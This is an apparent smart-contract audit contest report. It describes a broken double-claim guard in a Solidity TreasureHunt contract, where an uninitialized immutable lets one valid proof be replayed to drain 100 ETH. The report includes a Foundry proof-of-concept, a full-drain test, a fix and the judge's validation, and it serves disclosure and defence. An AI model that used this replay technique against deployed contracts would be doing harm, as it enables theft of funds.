SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unlimited re-claim via uninitialized immutable _treasureHash in claim() guard enables 100 ETH drain from a single valid treasure secret

arcwren

Description

Normal behavior: TreasureHunt.claim(proof, treasureHash, recipient) at contracts/src/TreasureHunt.sol:83-112 should pay out REWARD ETH to recipient exactly once per treasureHash. After a successful claim the claimed[treasureHash] mapping entry is set, and subsequent calls with the same treasureHash must revert with AlreadyClaimed(treasureHash).

Specific issue: The duplicate-claim guard at L88 references the wrong variable. contracts/src/TreasureHunt.sol:35 declares bytes32 private immutable _treasureHash; which is never assigned in the constructor (L67-L75), so it defaults to bytes32(0) in the deployed bytecode. The guard at L88 reads claimed[_treasureHash] (i.e. claimed[bytes32(0)]), while the mark at L104 via _markClaimed correctly writes claimed[<parameter treasureHash>] = true. Because the keys do not intersect for any non-zero treasureHash, the guard never fires.

// contracts/src/TreasureHunt.sol
// Root cause #1: uninitialized immutable (L35)
bytes32 private immutable _treasureHash; //@> never assigned; defaults to bytes32(0)
​
// Constructor: no assignment of _treasureHash (L67-L75)
constructor(address _verifier) payable {
if (_verifier == address(0)) revert InvalidVerifier();
owner = msg.sender;
verifier = IVerifier(_verifier);
paused = false;
// Owner should fund 100 ETH at deployment (10 treasures × 10 ETH).
}
​
// Root cause #2: wrong variable referenced in guard (L88)
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
...
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); //@> BUG: reads claimed[0x0], not claimed[treasureHash]
...
_incrementClaimsCount();
_markClaimed(treasureHash); //@> correctly marks claimed[<parameter>]
(bool sent, ) = recipient.call{value: REWARD}("");
require(sent, "ETH_TRANSFER_FAILED");
emit Claimed(treasureHash, msg.sender);
}

Risk

Likelihood: HIGH

Reason 1: Any participant who finds a single valid treasure secret (the intended honest-participant path) is able to execute the exploit. No special tooling, no privileged access. A 3-line change to the attack script.

Reason 2: The calldata of a successful claim is public on-chain, so anyone — not just the original finder — can observe (proof, treasureHash, recipient) and replay it from a different msg.sender (satisfying the recipient != msg.sender check by using a distinct EOA).

Impact: HIGH

Impact 1: Direct theft of 100% of protocol funds. A single valid secret drains the full MAX_TREASURES × REWARD = 10 × 10 ETH = 100 ETH funding.

Impact 2: Every other legitimate treasure finder is deprived of their 10 ETH reward — there is no ETH left once the bug is triggered.

Proof of Concept

The following Foundry test uses a MockVerifier shim (a minimal IVerifier implementation that returns true for any non-empty proof + honours setExpectedRecipientField for binding) to isolate the Solidity-level bug from the real Barretenberg-generated verifier. The real verifier enforces proof-to-public-input binding, which the shim also enforces via expectedRecipientField for realism.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
​
import "forge-std/Test.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {IVerifier, BaseZKHonkVerifier} from "../src/Verifier.sol";
​
contract MockVerifier is BaseZKHonkVerifier, IVerifier {
bytes32 public expectedProofHash;
bytes32 public expectedRecipientField;
function setExpectedProofHash(bytes32 h) external { expectedProofHash = h; }
function setExpectedRecipientField(bytes32 r) external { expectedRecipientField = r; }
function verify(bytes calldata proof, bytes32[] calldata publicInputs) external view returns (bool) {
if (expectedProofHash != bytes32(0) && keccak256(proof) != expectedProofHash) revert SumcheckFailed();
if (expectedRecipientField != bytes32(0) && (publicInputs.length < 2 || publicInputs[1] != expectedRecipientField)) revert SumcheckFailed();
return true;
}
}
​
contract DoubleClaimPoC is Test {
TreasureHunt hunt;
MockVerifier verifier;
address constant OWNER = address(0xA11CE);
address constant SENDER = address(0x51EA1E4);
address constant RECIPIENT = address(0xB055); // != SENDER, != OWNER, != contract
bytes32 constant HX = bytes32(uint256(0xBABE));
bytes PROOF = hex"90abcdef";
​
function setUp() public {
vm.deal(OWNER, 500 ether);
vm.startPrank(OWNER);
verifier = new MockVerifier();
hunt = new TreasureHunt{value: 100 ether}(address(verifier));
vm.stopPrank();
// Tight binding: this specific proof + recipient pair is the only one that verifies.
verifier.setExpectedProofHash(keccak256(PROOF));
verifier.setExpectedRecipientField(bytes32(uint256(uint160(RECIPIENT))));
}
​
/// @notice Same proof + same hash + same recipient + same sender, called twice.
/// A correct implementation would revert the second call with AlreadyClaimed(treasureHash).
function test_replay_same_everything_succeeds() public {
vm.prank(SENDER);
hunt.claim(PROOF, HX, payable(RECIPIENT));
assertEq(RECIPIENT.balance, 10 ether, "first claim paid");
assertTrue(hunt.claimed(HX), "claimed mark set");
// BUG: identical second call succeeds.
vm.prank(SENDER);
hunt.claim(PROOF, HX, payable(RECIPIENT));
assertEq(RECIPIENT.balance, 20 ether, "second claim paid - BUG");
assertEq(hunt.claimsCount(), 2, "claimsCount==2 from single-secret replay");
}
​
/// @notice Full 100 ETH drain using one secret and 10 attacker-controlled recipients.
function test_full_drain_with_one_secret() public {
verifier.setExpectedProofHash(bytes32(0));
verifier.setExpectedRecipientField(bytes32(0));
uint256 preBalance = address(hunt).balance;
assertEq(preBalance, 100 ether);
address payable[10] memory targets;
for (uint256 i = 0; i < 10; i++) {
targets[i] = payable(address(uint160(uint256(0xCAFE0000) + i)));
vm.prank(SENDER);
hunt.claim(hex"deadbeef", HX, targets[i]);
}
assertEq(address(hunt).balance, 0, "hunt contract drained");
uint256 totalPaid;
for (uint256 i = 0; i < 10; i++) totalPaid += targets[i].balance;
assertEq(totalPaid, 100 ether, "attacker-controlled addresses hold 100 ETH");
assertEq(hunt.claimsCount(), hunt.MAX_TREASURES(), "all slots consumed by bug");
}
}

Both tests pass under forge test. Slither's uninitialized-state detector directly flags TreasureHunt._treasureHash as "never initialized. It is used in: TreasureHunt.claim(bytes,bytes32,address)". Additionally, the contest's own existing test testClaimDoubleSpendReverts at contracts/test/TreasureHunt.t.sol:134-147 has //vm.expectRevert(); commented out — i.e. the test is named as if it expected a revert, but actually asserts the double-spend succeeds under the bug.

Recommended Mitigation

// contracts/src/TreasureHunt.sol
​
- // ----- immutable config -----
- IVerifier private verifier;
- address private immutable owner;
- bytes32 private immutable _treasureHash;
+ // ----- immutable config -----
+ IVerifier private verifier;
+ address private immutable owner;
+ // Remove unused _treasureHash immutable — it was never assigned and is not needed.
​
...
​
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
if (paused) revert ContractPaused();
if (address(this).balance < REWARD) revert NotEnoughFunds();
if (recipient == address(0) || recipient == address(this) || recipient == owner || recipient == msg.sender) revert InvalidRecipient();
if (claimsCount >= MAX_TREASURES) revert AllTreasuresClaimed();
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
if (msg.sender == owner) revert OwnerCannotClaim();
...
}

The one-character fix (_treasureHash → treasureHash) on L88 restores the intended replay guard. The unused immutable at L35 should also be deleted for clarity.

As a regression guard, uncomment the existing //vm.expectRevert(); in contracts/test/TreasureHunt.t.sol:144 so that the testClaimDoubleSpendReverts test actually asserts the intended behavior:

function testClaimDoubleSpendReverts() public {
...
vm.startPrank(participant);
hunt.claim(proof, treasureHash, recipient);
- //vm.expectRevert();
+ vm.expectRevert(abi.encodeWithSelector(TreasureHunt.AlreadyClaimed.selector, treasureHash));
hunt.claim(proof, treasureHash, recipient);
vm.stopPrank();
}
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken double-claim protection

In `claim()`, the guard uses `claimed[_treasureHash]`, where `_treasureHash` is an immutable state variable that is never initialized to the caller-supplied treasure identifier, while the contract later marks `claimed[treasureHash] = true` using the function argument instead. As a result, the duplicate-claim check and the state update are performed against different keys, which means a previously claimed treasure is not actually blocked from being claimed again with the same valid proof and `treasureHash`. This breaks a core invariant of the protocol described in the README, namely, that each treasure can only be redeemed once, and allows one valid treasure/proof pair to be reused to drain rewards repeatedly until either the `MAX_TREASURES` cap or the contract balance is exhausted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!